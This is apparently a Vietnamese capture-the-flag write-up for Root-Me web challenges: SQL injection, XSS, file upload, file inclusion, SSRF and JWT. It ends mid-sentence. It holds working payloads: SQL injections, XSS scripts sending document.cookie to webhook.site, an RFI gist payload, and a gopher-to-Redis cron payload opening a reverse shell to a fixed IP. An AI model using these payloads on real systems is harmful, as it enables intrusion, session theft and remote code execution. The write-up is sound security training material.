# SQL injection ## SQL injection - Authentication Login với username:`admin'--`, password bất kỳ ![image](https://hackmd.io/_uploads/S13XgfFia.png) **Password**: `t0_W34k!$` ## SQL injection - String Chèn thử `1'` thì nhận được lỗi ![image](https://hackmd.io/_uploads/SkzUgGFsa.png) Chèn `1' union select null, null--` thì biết được số cột của truy vấn là 2 cột ![image](https://hackmd.io/_uploads/S1UdxGKiT.png) Chèn tiếp `1' union select null,sql from sqlite_master--` thì có được thông tin về bảng `users` ![image](https://hackmd.io/_uploads/rkqKxzYsT.png) Payload: `1' union select username, password from users--` ![image](https://hackmd.io/_uploads/rkY5lMYoa.png) Password: `c4K04dtIaJsuWdi` ## SQL injection - Numeric Thêm `'` vào url thì nhận được lỗi ![image](https://hackmd.io/_uploads/BkZAgzFo6.png) Chèn `1 union select null,null,null--` không gặp lỗi, chứng tỏ câu truy vấn đến 3 cột ![image](https://hackmd.io/_uploads/HyLybMKja.png) Tương tự bài trên, cũng có bảng `users` ![image](https://hackmd.io/_uploads/SJ4S-fYiT.png) Payload: `1 union select 1,username,password from users--` ![image](https://hackmd.io/_uploads/HkyS-zKsp.png) **Password**: `aTlkJYLjcbLmue3` ## SQL injection - Authentication - GBK Thử inject thì được lỗi như sau ![image](https://hackmd.io/_uploads/Hkmw4stsT.png) Hàm `md5()` để hash password dạng md5 Hàm `addslashes` sẽ thêm `\` trước mỗi ký tự `', ", \` nếu gặp chúng. Do đó các payload thông thường sẽ bị reject Theo [doc](https://www.securityidiots.com/Web-Pentest/SQL-Injection/addslashes-bypass-sql-injection.html) này thì ta chỉ cần thêm `%af` hoặc `%bf` vào input. Vì `%5c` là mã hóa của `\`, nhưng `%bf%5c` là chữ trung quốc. Bypass thành công ![image](https://hackmd.io/_uploads/rJD_joKsp.png) ![image](https://hackmd.io/_uploads/rkX62jYi6.png) **Password**: `iMDaFlag1337!` ## SQL injection - Error Thử chèn `'` thì gặp lỗi, chứng tỏ có thể inject từ param này ![image](https://hackmd.io/_uploads/rkuXF2Yj6.png) Dựa theo [doc](https://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20FAST%20blind%20SQL%20Injection.pdf?_gl=1*1ngdn9v*_ga*OTQ3NTQzMjE3LjE2OTYzODIzNjk.*_ga_SRYSKX09J7*MTcwNzg3OTMxNC43NC4xLjE3MDc4Nzk0NzcuMC4wLjA.) từ đề ta có thể dùng hàm `CAST` cho MySQL để giải. Ta có các syntax từ [cheat sheet](https://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet) ![image](https://hackmd.io/_uploads/SJqoQati6.png) Vì truy vấn trả về nhiều hơn 1 cột nên có lỗi Dùng Burp Intruder với limit 1 offset từ 0-10 (tức là lấy 1 giá trị bắt đầu từ hàng thứ 0,1,2...) ![image](https://hackmd.io/_uploads/Hk1GsTKj6.png) Tìm được tên bảng `m3mbr35t4bl3` ![image](https://hackmd.io/_uploads/B1uNj6KoT.png) ![image](https://hackmd.io/_uploads/r1muj6tja.png) Tương tự, có tên cột `us3rn4m3_c0l` và `p455w0rd_c0l` ![image](https://hackmd.io/_uploads/r1Gqjptj6.png) ![image](https://hackmd.io/_uploads/r19qiTtoa.png) Giờ select ra thui ![image](https://hackmd.io/_uploads/S1sD10Fsp.png) **Password**: `1a2BdKT5DIx3qxQN3UaC` ## SQL injection - Blind #### Bước 1: Khai thác về DB Đầu tiên, inject `'` thì báo lỗi, db sử dùng SQLite3 ![image](https://hackmd.io/_uploads/BkLgX-cjp.png) Thử chèn lệnh luôn đúng và luôn sai ![image](https://hackmd.io/_uploads/ryyM3lcj6.png) ![image](https://hackmd.io/_uploads/Byo7hlcia.png) Nếu đúng thì login thành công, sai thì ngược lại Đi tìm độ dài tên bảng của db: ```sql '+or+(select+substr(name,§1§,1)+from+sqlite_master+where+type='table')='§a§'-- ``` ![image](https://hackmd.io/_uploads/Byu9NZ9oT.png) ![image](https://hackmd.io/_uploads/ryl9NZqsT.png) Tên bảng chứa 5 ký tự Bruteforce để tìm tên bảng: ![image](https://hackmd.io/_uploads/SJ8RHb5sT.png) ![image](https://hackmd.io/_uploads/SJgJL-9op.png) Tìm được bảng `users` Tương tự, tìm các cột trong bảng `users` ```sql '+or+(select+length(name)+from+pragma_table_info('users')+limit+1+offset+§1§)>0-- ``` ![image](https://hackmd.io/_uploads/Byq9zM9ja.png) Vậy có 3 cột Tìm tên của các cột - Cột 1: ![image](https://hackmd.io/_uploads/BJPD4Gqia.png) ![image](https://hackmd.io/_uploads/ryI44fqop.png) Độ dài cột 1 là 7 ký tự ![image](https://hackmd.io/_uploads/ry6drG9op.png) ![image](https://hackmd.io/_uploads/HJG-Bfcs6.png) Tên cột 1 là `username` - Cột 2: ![image](https://hackmd.io/_uploads/SJjj7Gcsa.png) Độ dài cột 2 là 8 ký tự ![image](https://hackmd.io/_uploads/ryOPrfcjp.png) ![image](https://hackmd.io/_uploads/rJlaHzcoT.png) Tên cột 2 là `password` - Vậy không cần quan tâm đến tên cột 3 nữa #### Bước 2: Tìm password Kiểm tra tồn tại username `admin` hay không ![image](https://hackmd.io/_uploads/BJgfalqsa.png) Kiểm tra độ dài của password ![image](https://hackmd.io/_uploads/Hk9gAe5s6.png) ![image](https://hackmd.io/_uploads/BkV0pg5ia.png) Vậy password có độ dài là 8 Thực hiện bruteforce để tìm password ![image](https://hackmd.io/_uploads/BkNs0e9jT.png) ![image](https://hackmd.io/_uploads/S1ZbzZ9ip.png) **Password**: `e2azO93i` ## SQL injection - File reading Vẫn là `'` để check param có thể inject ![image](https://hackmd.io/_uploads/ryOdNNjja.png) `'` đã bị filter Dùng `union` để check thì biết câu truy vấn gồm 4 cột ![image](https://hackmd.io/_uploads/S1iVr4ij6.png) Tiếp theo, ta sẽ đi tìm thông tin về bảng và các cột `member` cần được mã hóa dưới dạng hex: `0x6d656d626572` ![image](https://hackmd.io/_uploads/HyuLYEjsT.png) Vậy có bảng `member` ![image](https://hackmd.io/_uploads/SJJMKEsiT.png) 2 cột cần chú ý là `member_login` và `member_password` ![image](https://hackmd.io/_uploads/HkRr5Voj6.png) Có được account admin nhưng password bị mã hóa dạng base64. Thử decode thì không ra ```base64 VA5QA1cCVQgPXwEAXwZVVVsHBgtfUVBaV1QEAwIFVAJWAwBRC1tRVA== ``` Đề bài là file reading nên ta sẽ dùng hàm `load_file()` để đọc file index xem có gì [(doc](https://www.w3resource.com/mysql/string-functions/mysql-load_file-function.php)) *Chú ý: đường dẫn file cần phải encode hex* ```hex hex(/challenge/web-serveur/ch31/index.php) = 0x2f6368616c6c656e67652f7765622d736572766575722f636833312f696e6465782e706870 ``` ![image](https://hackmd.io/_uploads/Syee1SijT.png) Đọc source thì thấy password được mã hóa sha1, stringxor(), base64 ![image](https://hackmd.io/_uploads/S1ZIeHjjp.png) ![image](https://hackmd.io/_uploads/ryLi1Hosp.png) Với `a xor b = c` thì `a xor c = b` nên có thể sử dụng chính đoạn code của họ để decode xor ![image](https://hackmd.io/_uploads/SkrAfSsja.png) Dùng [tool decrypt sha1](https://hashes.com/en/decrypt/hash) thu được password ![image](https://hackmd.io/_uploads/S1iNmBjsT.png) **Password**: superpassword ## SQL injection - Time based Sử dụng sqlmap để tìm thêm thông tin về database, vì đề liên quan đến time based nên câu lệnh sẽ là ![image](https://hackmd.io/_uploads/Bk-kM8ssp.png) Ta biết được hệ thống sử dụng `PostgreSQL` và tên DB `public` ![image](https://hackmd.io/_uploads/Byzrf8siT.png) Lấy thông tin các bảng ![image](https://hackmd.io/_uploads/S1E5G8oi6.png) ![image](https://hackmd.io/_uploads/rypAbLoip.png) Lấy thông tin các cột ![image](https://hackmd.io/_uploads/ByKRWIiip.png) ![image](https://hackmd.io/_uploads/Bkv3bLjsp.png) Biết được bảng `users` chứa `password` nên ta sẽ lấy dữ liệu trong các cột của bảng `users` ![image](https://hackmd.io/_uploads/S1G2-Liip.png) ![image](https://hackmd.io/_uploads/H1evKLji6.png) **Password**: `T!m3B@s3DSQL!` ## SQL Injection - Routed Trước khi vào bài thì mình có đọc được [doc](https://www.securityidiots.com/Web-Pentest/SQL-Injection/routed_sql_injection.html) này. Inject lệnh quen thuộc ![image](https://hackmd.io/_uploads/SJVSu2isa.png) Ở bài này thì đã bị filter từ khóa `or, order by`, tuy nhiên thì `union, select` vẫn dùng được ![image](https://hackmd.io/_uploads/ryomNniia.png) Thông thường ở lệnh này sẽ báo lỗi về số cột, nhưng nó lại trả về `1`, ta sẽ đặt 1 câu truy vấn thay thế cho`1` để nó trả về truy vấn này ![image](https://hackmd.io/_uploads/rysCHnisp.png) Query ```sql hex('order by 3 -- -') = 0x27206F726465722062792033202D2D202D ``` ![image](https://hackmd.io/_uploads/HknLwhjsp.png) Vậy là có 2 cột Tìm tên bảng và cột (https://mariadb.com/kb/en/information-schema-columns-table/) ```sql hex(' union select 1,table_name from information_schema.tables where table_schema=database()-- -) = 0x2720756E696F6E2073656C65637420312C7461626C655F6E616D652066726F6D20696E666F726D6174696F6E5F736368656D612E7461626C6573207768657265207461626C655F736368656D613D646174616261736528292D2D202D ``` ![image](https://hackmd.io/_uploads/BJg3K2soT.png) Vậy có bảng `users` ```sql hex(users) = 0x7573657273 ``` ```sql hex(' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273-- -) = 0x2720756E696F6E2073656C65637420312C67726F75705F636F6E63617428636F6C756D6E5F6E616D65292066726F6D20696E666F726D6174696F6E5F736368656D612E636F6C756D6E73207768657265207461626C655F6E616D653D3078373537333635373237332D2D202D ``` ![image](https://hackmd.io/_uploads/HJG123oip.png) Có 2 cột cần chú ý `login`, `password` Chỉ cần select ra thui ```sql hex(' union select 1,concat(login,0x20,password) from users-- -) = 0x2720756E696F6E2073656C65637420312C636F6E636174286C6F67696E2C307832302C70617373776F7264292066726F6D2075736572732D2D202D ``` ![image](https://hackmd.io/_uploads/H1iMahsop.png) **Password**: `qs89QdAs9A` ## SQL injection - Filter bypass Xem source code ta có cấu trúc bảng ![image](https://hackmd.io/_uploads/S1MQHlTja.png) Inject `'` ở param `id` thì có lỗi ![image](https://hackmd.io/_uploads/SyuOHlpjp.png) Sau khi test những từ khóa và ký tự thông thường như `whitespace, and, or, union, select, ', ||, =, ...` đều bị filter. Tuy nhiên `%09` không bị filter, ta sẽ dùng nó thay thế cho khoảng trắng. Ta đã biết bảng `membres` có 4 cột nhưng do dấu phẩy đã bị filter nên không select được như mọi khi. ![image](https://hackmd.io/_uploads/r1Dk2e6sa.png) Thay thế nó bằng cách ![image](https://hackmd.io/_uploads/Hy_t2lTsT.png) Payload ```sql %09UNION%09SELECT%09*%09FROM%09((SELECT%091)A%09JOIN%09(SELECT%092)B%09JOIN%09(SELECT%093)C%09JOIN%09(SELECT%094)D)%09-- ``` ![image](https://hackmd.io/_uploads/HJb3kbpjp.png) Giờ thì select password ra thui Payload ```sql %09UNION%09SELECT%09*%09FROM%09((SELECT%09pass%09FROM%09membres%09LIMIT%091)A%09JOIN%09(SELECT%092)B%09JOIN%09(SELECT%093)C%09JOIN%09(SELECT%094)D)%09-- ``` ![image](https://hackmd.io/_uploads/rJqLl-pop.png) **Password**: `KLfgyTIJbdhursqli` ## SQL Truncation Để login được vào admin thì cần có password, thử đăng kí thì nhận được lỗi user đã tồn tại Đề cho biết thông tin như sau ![image](https://hackmd.io/_uploads/HJM9WRYsa.png) Ta có [doc](https://resources.infosecinstitute.com/topics/hacking/sql-truncation-attack/#gref) tương tự. Vậy chỉ cần register với username dài hơn ký tự quy định, nó sẽ tự cắt đi các ký tự khác và ghi đè account admin ![image](https://hackmd.io/_uploads/Hkz1VCKsa.png) Login với password vừa đăng ký ![image](https://hackmd.io/_uploads/Bk31NRtia.png) **Password**: `J41m3Qu4nD54Tr0nc` # XSS ## XSS - Reflected Ta thấy có 1 form điền thông tin của người dùng ![image](https://hackmd.io/_uploads/ryjKifU3a.png) Họ bảo là cái form này vô nghĩa vc =)))) ![image](https://hackmd.io/_uploads/rJCl3MLnp.png) Sau khi fuzz thì ta chỉ nhận thấy phần url có thể thay đổi, vậy là có thể chèn payload ở đây ![image](https://hackmd.io/_uploads/SkWjaG8hT.png) Thử các script thì nhận thấy `<>, "` đã bị filter ![image](https://hackmd.io/_uploads/B1FfdQLhT.png) ![image](https://hackmd.io/_uploads/B1nhtJPh6.png) Tuy nhiên `'` thì vẫn hoạt động ![image](https://hackmd.io/_uploads/H1X5tyw3a.png) Payload ```js ' onmousemove='document.location="https://webhook.site/529e5d86-8dca-4849-add3-024e4fde2f86?cookie=".concat(document.cookie) ``` ![image](https://hackmd.io/_uploads/ByNznJvhT.png) **Password**: `r3fL3ct3D_XsS_fTw` ## XSS - Stored 1 Chèn thử `<script>alert(1)</script>` thì nhận được thông báo, chứng tỏ web có lỗ hổng xss ở `message` ![image](https://hackmd.io/_uploads/HkPycBV3a.png) Sử dụng [Webhook](https://webhook.site/) để theo dõi các request HTTP đến web Post message có chứa payload và chờ admin truy cập vào, cookie của admin sẽ được gửi đến webhook ```js <script>document.location='https://webhook.site/529e5d86-8dca-4849-add3-024e4fde2f86?c='+document.cookie</script> ``` ![image](https://hackmd.io/_uploads/Sym5qrE3T.png) **Password**: `NkI9qe4cdLIO2P7MIsWS8ofD6` ## XSS - Stored 2 Sau khi thử chèn các script vào `message` thì đều không có tác dụng gì. Tuy nhiên ở bài này có sử dụng thẻ `<i>` để hiển thị value của `status` ![image](https://hackmd.io/_uploads/S1TmUGL3T.png) Và giá trị của `status` có thể thay đổi được ![image](https://hackmd.io/_uploads/SJGorzUha.png) Inject 1 script cơ bản ![image](https://hackmd.io/_uploads/By7kwz83T.png) ![image](https://hackmd.io/_uploads/H1sALM82a.png) Payload ```js "><script>document.location='https://webhook.site/a6b48214-2c97-4375-bc9b-29d920e61003?c='+document.cookie</script> ``` ![image](https://hackmd.io/_uploads/B1FrvMI26.png) Và chờ admin truy cập vào web để có được cookie của admin ![image](https://hackmd.io/_uploads/r1NrdM8na.png) Dùng cookie vừa lấy được truy cập vào admin section ![image](https://hackmd.io/_uploads/rJHjYML2p.png) **Password**: `E5HKEGyCXQVsYaehaqeJs0AfV` ## XSS - Stored - filter bypass Bài này filter một số thẻ, dấu `()`, và từ khóa `document` Dùng Burp Intruder để fuzz cái nào dùng được với list trong [cheatsheet Portswigger](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) ![image](https://hackmd.io/_uploads/Bkv3Qu3ha.png) Bị filter những thẻ trên, mình sẽ dùng thẻ `button`, event `onfocus` Convert `alert(1)` sang [JSFuck](https://jsfuck.com/) để bypass ``` <button onfocus=(eval)(JSFuck[alert(1)])></button> ``` ![image](https://hackmd.io/_uploads/HkUtsO22a.png) XSS thành công Payload ``` <button autofocus onfocus=(eval)(JSFuck[document.location='https://webhook.site/1fc59e4c-f29f-48eb-9b9c-3cdd087216c1?cookie='.concat(document.cookie)])></button> ``` ![image](https://hackmd.io/_uploads/S1dHFu33p.png) **Password**: `qa26f3ugb5tqv7o0mbvtv414u8` ## XSS DOM Based - Introduction Nhập thử 1 số thì có đoạn source code như sau: ![image](https://hackmd.io/_uploads/HkLu1ELhp.png) Code này sẽ so sánh giá trị của 2 biến `number` và `random`, nếu bằng nhau thì thực hiện các lệnh trong if else. Tuy nhiên, nếu có tìm được giá trị `number` thì cũng không có được flag. Giá trị của `number` được gán trực tiếp, không bị mã hóa nên ta có thể bỏ qua nó bằng cách ```js '; alert(1) ;// ``` ![image](https://hackmd.io/_uploads/S1ny4E8n6.png) ![image](https://hackmd.io/_uploads/SJm-E4L3p.png) Payload ```js http://challenge01.root-me.org/web-client/ch32/?number=';window.location.href=`https://webhook.site/529e5d86-8dca-4849-add3-024e4fde2f86?cookie=${document.cookie}`;// ``` Gửi url chứa script đến admin ở `/contact` ![image](https://hackmd.io/_uploads/rkQbIE8nT.png) **Password**: `rootme{XSS_D0M_BaSed_InTr0}` ## XSS DOM Based - Eval https://www.root-me.org/en/Challenges/Web-Client/XSS-DOM-Based-Eval Ta nhập 1 phép tính thì có source code như sau ![image](https://hackmd.io/_uploads/Hk-SvHvh6.png) Code này sử dụng hàm `eval()` để thực hiện phép tính, sau đó chuyển phép tính cùng kết qua sang dạng chuỗi. Input được regex: kiểm tra xem phần tử đầu tiên có phải là số không, phần tử tiếp theo có phải là `+, -, *, /` không, và phần tử còn lại có phải là số không ![image](https://hackmd.io/_uploads/rJJV_Bwnp.png) Chèn `<script>alert(1)</script>` thì thấy `()` bị filter ![image](https://hackmd.io/_uploads/HkZgOSPha.png) Chèn ```1+1, alert`1` ``` thì thành công ![image](https://hackmd.io/_uploads/HkE6trvhT.png) Bởi vì hàm `eval()` chỉ được filter ở phần đầu input Payload ```js 1+1, window.location.href=`https://webhook.site/1fc59e4c-f29f-48eb-9b9c-3cdd087216c1?cookie=${document.cookie}` ``` ![image](https://hackmd.io/_uploads/rkWgew52a.png) Nhận được response Gửi url report qua `/contact` ```url http://challenge01.root-me.org/web-client/ch34/index.php?calculation=1%2B1%2C%20document.location%3D%60https%3A%2F%2Fwebhook.site%2F1fc59e4c-f29f-48eb-9b9c-3cdd087216c1%3Fcookie%3D%24%7Bdocument.cookie%7D%60 ``` ![image](https://hackmd.io/_uploads/HJVHlw5ha.png) **Password**: `rootme{Eval_Is_DangER0us}` Cách thứ 2 có thể thực hiện: ```1+1/*';alert`2`;//*/``` ![image](https://hackmd.io/_uploads/S1cO3SP3T.png) ![image](https://hackmd.io/_uploads/Byoqhrvnp.png) ## XSS DOM Based - AngularJS AngularJS sẽ thực thi JavaScript bên trong dấu ngoặc nhọn đôi có thể xuất hiện trực tiếp trong HTML hoặc bên trong các thuộc tính ([doc](https://portswigger.net/research/xss-without-html-client-side-template-injection-with-angularjs)) Chèn `{{1+1}}` thì kết quả là 2, vậy nó thực thi được lệnh trong dấu ngoặc nhọn `{{}}` ![image](https://hackmd.io/_uploads/HJrKNS3n6.png) Chèn tiếp `{{constructor.constructor('alert(1)')()}}` thì bị filter mất dấu `'` ![image](https://hackmd.io/_uploads/Hk-QHr32a.png) Thay thành `"` thì XSS thành công ![image](https://hackmd.io/_uploads/SJWdHrnnT.png) ![image](https://hackmd.io/_uploads/SyF8Br32a.png) Payload ```js {{constructor.constructor("document.location=`https://webhook.site/1fc59e4c-f29f-48eb-9b9c-3cdd087216c1?cookie=${document.cookie}`")()}} ``` Nhận được response ![image](https://hackmd.io/_uploads/HJKyornn6.png) Giờ chỉ cần gửi report ``` http://challenge01.root-me.org/web-client/ch35/index.php?name=%7B%7Bconstructor.constructor%28%22document.location%3D%60https%3A%2F%2Fwebhook.site%2F1fc59e4c-f29f-48eb-9b9c-3cdd087216c1%3Fcookie%3D%24%7Bdocument.cookie%7D%60%22%29%28%29%7D%7D ``` ![image](https://hackmd.io/_uploads/Hy0R9S326.png) **Password**: `rootme{@NGu1@R_J$_1$_C001}` ## XSS DOM Based - Filters Bypass Chèn `';alert(1);//` thì bị filter mất dấu `;` ![image](https://hackmd.io/_uploads/HkxC_D23T.png) Tìm trong PayloadsAllTheThings thì thấy có thể thay thế `;` bằng `*, /, %, ...` ```js ' ** alert(1) // ``` ![image](https://hackmd.io/_uploads/H1SNKvn2a.png) XSS thành công Chèn tiếp ```js ' ** eval(document.location='https://webhook.site/1fc59e4c-f29f-48eb-9b9c-3cdd087216c1?cookie='.concat(document.cookie)) // ``` Ở đây còn check cả url nữa ![image](https://hackmd.io/_uploads/SkzAFw3h6.png) Bypass như sau ```js ' ** eval(document.location='http'.concat('s://webhook.site/1fc59e4c-f29f-48eb-9b9c-3cdd087216c1?cookie='.concat(document.cookie))) // ``` ![image](https://hackmd.io/_uploads/SJeSqDn26.png) Gửi url đến admin thui ``` http://challenge01.root-me.org/web-client/ch33/index.php?number=%27%20%2A%2A%20eval%28document.location%3D%27http%27.concat%28%27s%3A%2F%2Fwebhook.site%2F1fc59e4c-f29f-48eb-9b9c-3cdd087216c1%3Fcookie%3D%27.concat%28document.cookie%29%29%29%20%2F%2F ``` ![image](https://hackmd.io/_uploads/BJ48hv3h6.png) **Password**: `rootme{FilTERS_ByPass_DOm_BASEd_XSS}` # File upload ## File upload - Double extensions Mục tiêu thực hiện webshell, ta upload 1 file đuôi `.php` ![image](https://hackmd.io/_uploads/ryYZCHyT6.png) Thêm `.png` là bypass thành công ![image](https://hackmd.io/_uploads/S1_50SJ66.png) Ta được phép thực thi các lệnh shell Giờ thì đọc file `.passwd` để lấy flag ![image](https://hackmd.io/_uploads/HyIrkIya6.png) ![image](https://hackmd.io/_uploads/ry771Ukpa.png) **Password**: `Gg9LRz-hWSxqqUKd77-_q-6G8` ## File upload - MIME type https://www.root-me.org/en/Challenges/Web-Server/File-upload-MIME-type Server chỉ cho phép upload các file `GIF, JPEG or PNG` ![image](https://hackmd.io/_uploads/H1NAyPyTp.png) Đổi `Content-Type : application/octet-stream` thành `Content-Type : image/png` ![image](https://hackmd.io/_uploads/SJPuxP1aT.png) Upload và thực hiện webshell thành công ![image](https://hackmd.io/_uploads/SkHz-PJT6.png) ![image](https://hackmd.io/_uploads/B13Z-vJpp.png) **Password**: `a7n4nizpgQgnPERy89uanf6T4` ## File upload - Null byte Thay đổi `Content-Type` và chèn thêm byte null vào cuối kèm theo đuôi .png (vì byte null bỏ qua đuôi png, lúc đó file php sẽ được thực thi) thì upload thành công ![image](https://hackmd.io/_uploads/BJp6bD1aT.png) ![image](https://hackmd.io/_uploads/B1YbMPJ6p.png) **Password**: `YPNchi2NmTwygr2dgCCF ` ## File upload - ZIP ![image](https://hackmd.io/_uploads/S1X5181pT.png) ![image](https://hackmd.io/_uploads/rkgVgLJTp.png) Sau khi upload 1 file zip thì ta biết được vị trí lưu file của hệ thống ở `../../../a.jpeg` Upload 1 file php thì gặp lỗi ![image](https://hackmd.io/_uploads/S1naJ8JpT.png) ![image](https://hackmd.io/_uploads/SkVC1IJpT.png) Để crack ta sẽ dùng symbolic link/soft link - Một loại tệp hoạt động như một con trỏ hoặc tham chiếu đến tệp hoặc thư mục khác. - Tạo lối tắt đến tệp hoặc thư mục, giúp chúng có thể truy cập được từ các vị trí khác nhau trong hệ thống tệp. Cách tạo symlink từ [hacktrick](https://book.hacktricks.xyz/pentesting-web/file-upload#polyglot-files) ![image](https://hackmd.io/_uploads/BkKyQvyaa.png) ![image](https://hackmd.io/_uploads/rkO-lLJaa.png) ![image](https://hackmd.io/_uploads/SkSZeUyaT.png) Upload file ZIP thành công ![image](https://hackmd.io/_uploads/B1zbeU1Ta.png) ![image](https://hackmd.io/_uploads/Hk1ZlLyT6.png) **Password**: `N3v3r_7rU5T_u5Er_1npU7` # File Inclusion ## Local File Inclusion Thêm `'` thì có lỗi, chứng tỏ có thể LFI tại param này ![image](https://hackmd.io/_uploads/BJpSNn_pa.png) Web cho phép truy cập với 2 vai trò `guest/admin` ![image](https://hackmd.io/_uploads/S1AqEhd66.png) Đối với admin thì file `index.php` có đường dẫn `/web-serveur/ch16/admin/` ![image](https://hackmd.io/_uploads/Hyu943_Ta.png) Ta dùng `../` trong Directory Traversal để thay thế cho các thư mục cha ``` ../../admin/index.php ``` ![image](https://hackmd.io/_uploads/rJp7Nh_pp.png) **Password**: `OpbNJ60xYpvAQU8` ## Local File Inclusion - Double encoding Dấu hiệu LFI ![image](https://hackmd.io/_uploads/SJw3S2_6a.png) Tên file được tự động thêm `.inc.php`. Code có dạng sau: ```php include($_GET['page'].inc.php) ``` Sử dụng `Wrapper php://filter` vì không LFI được như bài trước và bài này cần double encode để tránh bị detect ``` php%253A%252F%252Ffilter%252Fconvert%252Ebase64-encode%252Fresource%253Dhome ``` Decode base64 output và có được tên file `conf` ![image](https://hackmd.io/_uploads/Sk0msnOTT.png) ![image](https://hackmd.io/_uploads/H1e8o3O6a.png) Payload ``` php%253A%252F%252Ffilter%252Fconvert%252Ebase64-encode%252Fresource%253Dconf ``` ![image](https://hackmd.io/_uploads/SJ0ii3_6a.png) **Password**: `Th1sIsTh3Fl4g!` ## Local File Inclusion - Wrappers Web chỉ cho phép upload file đuôi `.jpg` ![image](https://hackmd.io/_uploads/Sk8kIp_6a.png) ![image](https://hackmd.io/_uploads/ByhpL6up6.png) Ảnh được lưu với tên ngẫu nhiên tại `/tmp/upload/` ![image](https://hackmd.io/_uploads/ryURST_TT.png) Để giải bài này ta sẽ dùng LFI wrapper với `zip`. Xem thêm tại [đây](https://github.com/l1chow/PayloadsAllTheThings/tree/master/File%20Inclusion#wrapper-zip) Tạo file ảnh jpg như sau: ![image](https://hackmd.io/_uploads/B1FFoTOpp.png) Sau đó upload và xem file tại `?page=zip://tmp/upload/[id_image].jpg%23a` - `a` là tên của file `a.php` được nén trong file zip - Đuôi `.php` không được thêm vào cuối cùng vì server sẽ mặc định đuôi file đó là .php nhưng nếu nhập vào thì sẽ bị Attack Detect ![image](https://hackmd.io/_uploads/Hyw3j6_Tp.png) Ta cần tìm flag, vì `system(), shell_exec()` đã bị chặn nên ta sẽ dùng hàm `scandir()` để liệt kê các file ```php <?php $path = '.'; $a = scandir($path); print_r($a); ?> ``` Upload và ta có 1 file `flag-mipkBswUppqwXlq9ZydO.php` ![image](https://hackmd.io/_uploads/B1_22Tdpp.png) Đọc file này ```php <?php show_source('flag-mipkBswUppqwXlq9ZydO.php');?> ``` ![image](https://hackmd.io/_uploads/BJNETpdp6.png) **Password**: `lf1-Wr4pp3r_Ph4R_pwn3d` ## Remote File Inclusion Code có dạng ```php include($_GET['lang']_lang.php) ``` ![image](https://hackmd.io/_uploads/SJzPphOa6.png) Ta sẽ thực hiện RFI bằng cách: tạo file `exploit_lang.php` chứa code `<?php show_source("index.php")?>` và up lên [gist](https://gist.github.com) ở chế độ public Payload ``` https://gist.githubusercontent.com/l1chow/4075616127749fad340cd68c3592fb37/raw/8bf360bb36ce4848066fa9e5ff0ce60370785cf1/exploit ``` ![image](https://hackmd.io/_uploads/rkpoxpOTp.png) **Password**: `R3m0t3_iS_r3aL1y_3v1l` # SSRF ## Server Side Request Forgery Web này nhận input là 1 url và trả về dữ liệu được crawl từ url đó ![image](https://hackmd.io/_uploads/B1pkW8g66.png) Payload `file:///etc/passwd` ![image](https://hackmd.io/_uploads/B1U5WIxp6.png) Ta có được nội dung của file passwd, chứng tỏ server không validate đầu vào và thực hiện mọi request dựa vào tham số url mà client gửi lên do đó sẽ có lỗi SSRF. Ta sẽ xem server này đang mở những cổng dịch vụ gì ![image](https://hackmd.io/_uploads/BJc748e66.png) ![image](https://hackmd.io/_uploads/BJIBNUl6p.png) Response chứa `Connection refused` thì port đó đang đóng ngược lại thì là các port mở. ![image](https://hackmd.io/_uploads/H1HN9Lxpa.png) Ta tìm được port `25, 80, 6379` đang mở trên server. Trong đó port 6379 là cổng đang chạy Redis (là một cơ sở dữ liệu nguồn mở lưu trữ dữ liệu theo dạng key-value), và ta có thể ghi đè lên file trong hệ thống Ta tạo reverse shell thông qua giao thức Gopher > Gopher là một giao thức ở layer Application cung cấp khả năng trích xuất và xem các tài liệu web được lưu trữ trên các máy chủ web từ xa. > Để giao tiếp với cơ sở dữ dữ liệu sử dụng gopher thì ta chỉ cần gọi nó thông qua URL scheme gopher:// Tạo payload với tool [Gopherus](https://github.com/tarunkant/Gopherus). Bước 1: Sử dụng ngrok để public localhost: ``` ngrok tcp 1234 ``` ![image](https://hackmd.io/_uploads/S1WqoDx66.png) ![image](https://hackmd.io/_uploads/Bkqg2we6a.png) Bước 2: Tạo payload bằng Gopherus ![image](https://hackmd.io/_uploads/Bk0m2wlp6.png) Bước 3: Fix payload - Vì port sau khi dùng ngrok public là 14217 chứ không phải 1234 như Gopherus tạo - Lắng nghe port 1234 ``` nc -lvp 1234 ``` Bước 4: Upload payload ``` gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/18.141.129.246/1234%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A ``` ReverseShell thành công và có được flag ![image](https://hackmd.io/_uploads/Sk8KeOlTa.png) **Flag**: `SSRF_PwNiNg_v1@_GoPh3r_1s_$o_c00l!` Lấy password để submit ở Validation Room ![image](https://hackmd.io/_uploads/Skf-bOepa.png) **Password**: `2aa7632cfaa55f92deb808910eb295d0` # JWT ## JWT - Introduction Chall có 1 form login, ta có thể đăng nhập với tư cách guest ![image](https://hackmd.io/_uploads/H1AzD1ZoA.png) Cookie nhận được chứa jwt token ![image](https://hackmd.io/_uploads/BJXLvJWjA.png) Dùng https://token.dev/ để decode ![image](https://hackmd.io/_uploads/rk8PvJboA.png) Thay đổi thuật toán thành none để truy cập vào admin ![image](https://hackmd.io/_uploads/SJY_DJZsR.png) ![image](https://hackmd.io/_uploads/ryecPybs0.png) **Flag**: `S1gn4tuR3_v3r1f1c4t10N_1S_1MP0Rt4n7` ## JWT - Weak secret ![image](https://hackmd.io/_uploads/HJRznwkrT.png) Truy cập vào `/token` như message nhắc đến ![image](https://hackmd.io/_uploads/HJtH2vkSp.png) Dùng token này truy cập vào `/admin` ![image](https://hackmd.io/_uploads/SybtnPJS6.png) Thêm HTTP Authenzation tương ứng như response ![image](https://hackmd.io/_uploads/B1jphDkrT.png) Dùng 